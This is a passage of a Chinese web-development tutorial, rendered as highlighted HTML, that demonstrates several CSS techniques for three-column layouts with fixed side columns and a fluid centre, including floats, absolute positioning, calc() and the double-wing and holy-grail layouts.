<span class="attribute">height</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">10px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/*左右margin不会叠加*/</span></span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#f00</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;left&quot;</span>&gt;</span>left<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;center&quot;</span>&gt;</span>center<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;right&quot;</span>&gt;</span>right<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="方法2：左、右两栏-分别-float-left、float-right。center左右margin，或者激活center的BFC"><a href="#方法2：左、右两栏-分别-float-left、float-right。center左右margin，或者激活center的BFC" class="headerlink" title="方法2：左、右两栏 分别 float:left、float:right。center左右margin，或者激活center的BFC"></a>方法2：左、右两栏 分别 float:left、float:right。center左右margin，或者激活center的BFC</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span>,</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#999</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: right;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.center</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/* 方式二、 */</span></span></span><br><span class="line"><span class="language-css">            <span class="comment">/* margin: 0 200px; */</span></span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">            <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/* 方式一、激活center的BFC，使之无法被 两边的浮动元素 覆盖*/</span></span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#f00</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="comment">&lt;!--该布局法的好处是受外界影响小，但是不足是 三个元素的顺序，center一定要放在最后，这是            </span></span><br><span class="line"><span class="comment">        和绝对定位不一样的地方，center占据文档流位置，所以一定要放在最后，左右两个元素位置没有关系。</span></span><br><span class="line"><span class="comment">        当浏览器窗口很小的时候，右边元素会被挤到下一行。--&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;left&quot;</span>&gt;</span>left<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;right&quot;</span>&gt;</span>right<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;center&quot;</span>&gt;</span>center<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="方法3：左、右两栏-分别-绝对定位，center左右margin"><a href="#方法3：左、右两栏-分别-绝对定位，center左右margin" class="headerlink" title="方法3：左、右两栏 分别 绝对定位，center左右margin"></a>方法3：左、右两栏 分别 绝对定位，center左右margin</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="comment">/*左右固定，中间自适应  利用绝对定位*/</span></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.container</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">position</span>: relative;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">position</span>: absolute;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">left</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">top</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: black;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">color</span>: <span class="number">#fff</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.center</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">0</span> <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: yellow;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">position</span>: absolute;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">top</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">right</span>: <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">400px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: red;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;container&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;left&quot;</span>&gt;</span>left<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;center&quot;</span>&gt;</span>center<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;right&quot;</span>&gt;</span>right<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="方法4：三栏都-float-left；对center的宽度-进行-calc-计算"><a href="#方法4：三栏都-float-left；对center的宽度-进行-calc-计算" class="headerlink" title="方法4：三栏都 float: left；对center的宽度 进行 calc()计算"></a>方法4：三栏都 float: left；对center的宽度 进行 calc()计算</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.container</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">overflow</span>: hidden;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.left</span>,</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: red;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.center</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="built_in">calc</span>(<span class="number">100%</span> - <span class="number">200px</span>);</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: yellow;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;container&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;left&quot;</span>&gt;</span>left<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;center&quot;</span>&gt;</span>center<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;right&quot;</span>&gt;</span>right<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="方法5：双飞翼布局（重点）优先显示-main主要部分"><a href="#方法5：双飞翼布局（重点）优先显示-main主要部分" class="headerlink" title="方法5：双飞翼布局（重点）优先显示 main主要部分 !"></a>方法5：双飞翼布局（重点）优先显示 main主要部分 !</h3><div class="tip cogs"><p>分析：<br>1.首先container只是一个三栏布局整体的包裹，不是布局重点。main占据整行，main的子元素main-wrap才是中间的内容区域。main-wrap设置 左、右margin的目的是为left、right两栏留空。<br>2.三栏都 float: left；<br>3.中间栏width:100%；左栏margin-left: -100%； 右栏 （负 自身宽度） margin-left: -190px<br>（解释：由于main宽100%，此时left、right两栏都被挤到第二行。设置各自的 “负margin-left值”使它们分别移动到 第一行的左右两边）</p></div><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-tag">body</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">min-width</span>: <span class="number">550px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.col</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">float</span>: left;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#main</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/* height: 200px; */</span></span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#ccc</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#main-wrap</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: lightblue;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">0</span> <span class="number">190px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="comment">/*这是圣杯和双飞翼最明显的区别，在main内部使用的是margin，而圣杯是直接在container部分使用padding*/</span></span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#left</span>,</span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">190px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">height</span>: <span class="number">200px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#0000FF</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#left</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-left</span>: -<span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-id">#right</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin-left</span>: -<span class="number">190px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background-color</span>: <span class="number">#FF0000</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;container&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;main&quot;</span> <span class="attr">class</span>=<span class="string">&quot;col&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;main-wrap&quot;</span>&gt;</span> #main</span><br><span class="line">                <span class="tag">&lt;<span class="name">br</span> /&gt;</span>ipsum dolor sit amet consectetur adipisicing elit. Rerum consequatur</span><br><span class="line">                amet assumenda quasi, nulla unde laboriosam non id eum natus magni praesentium quibusdam ducimus sed!</span><br><span class="line">                Fuga iusto veniam ipsam voluptatum?</span><br><span class="line">            <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;left&quot;</span> <span class="attr">class</span>=<span class="string">&quot;col&quot;</span>&gt;</span>#left<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;right&quot;</span> <span class="attr">class</span>=<span class="string">&quot;col&quot;</span>&gt;</span>#right<span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/posts/zuo-zhong-you-san-lan-shi-bu-ju/%E5%8F%8C%E9%A3%9E%E7%BF%BC%E5%B8%83%E5%B1%80.gif" alt="双飞翼布局"></p><p> ### 方法6：圣杯布局（也是重点）优先显示 main主要部分 !</p><div class="tip cogs"><p>分析：<br>1.最外层wrapper设置padding-left、padding-right。目的是为left、right两栏留空。<br>2.三栏都 float: left；<br>3.main的width: 100%、 left栏margin-left: -100%、right栏margin-left: -100px（负 自身宽度）<br>（解释：由于main宽100%，此时left、right两栏都被挤到第二行。设置各自的 “负margin-left值”使它们分别移动到 第一行的左右两边）<br>4.left栏left: -100px;、right栏right: -100px;  两栏都 相对自身定位position: relative;<br>（解释：left、right两栏都 相对于自身， 分别 向左右两边 移动自身的宽度）</p></div><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">&quot;X-UA-Compatible&quot;</span> <span class="attr">content</span>=<span class="string">&quot;IE=edge&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Document<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span> <span class="attr">type</span>=<span class="string">&quot;text/css&quot;</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.wrapper</span> 